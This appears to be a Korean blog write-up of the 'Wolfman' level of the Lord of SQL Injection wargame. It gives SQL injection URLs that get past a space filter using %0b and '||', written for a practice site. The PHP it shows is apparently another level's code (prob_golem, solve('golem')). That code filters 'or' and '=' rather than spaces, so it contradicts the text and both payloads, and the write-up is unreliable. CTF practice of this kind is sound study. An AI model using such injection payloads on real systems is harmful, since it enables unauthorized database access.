[LOS] 5. Wolfman

고둑·2021년 7월 11일
0

LoS

목록 보기
5/21
post-thumbnail

힌트

  • 공백은 %0b, %09등으로 우회 가능하다.

풀이

코드 해석

<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

이번 문제는 공백을 필터링한다는 점만 제외하면 기존 문제와 큰 차이가 없다.

문제 풀이

1. 공백 문자 우회 사용

공백 필터링을 우회하는 방법은 여러 가지가 있다.
힌트에서 언급한 것보다 수많은 방법이 있지만, 그중 한 가지를 써서 우회하면 문제가 풀린다

ps) %09는 탭인데 가끔 막히는 경우가 있다.
%0a는 개행문자인데 이 친구도 잘 안 먹을 수 있기 때문에 %0b, %0c를 사용하는 것을 추천한다.

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27%0bor%0bid=%27admin

2. 공백문자 사용 X

위에서 사용한 OR같은 문자열로 논리 연산자를 이용하면 다른 문자와 논리 연산자의 차이를 두기 위해 항상 앞뒤로 공백문자가 필요하다. 하지만 논리 연산자를 기호 형태로 이용하면 구분이 필요 없어지기 때문에 공백문자 없이 사용이 가능하다. 따라서 기호를 이용하면 '||id='admin처럼 깔끔하게 처리가 가능하다

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27||id=%27admin

profile
문워킹은 하지말자

0개의 댓글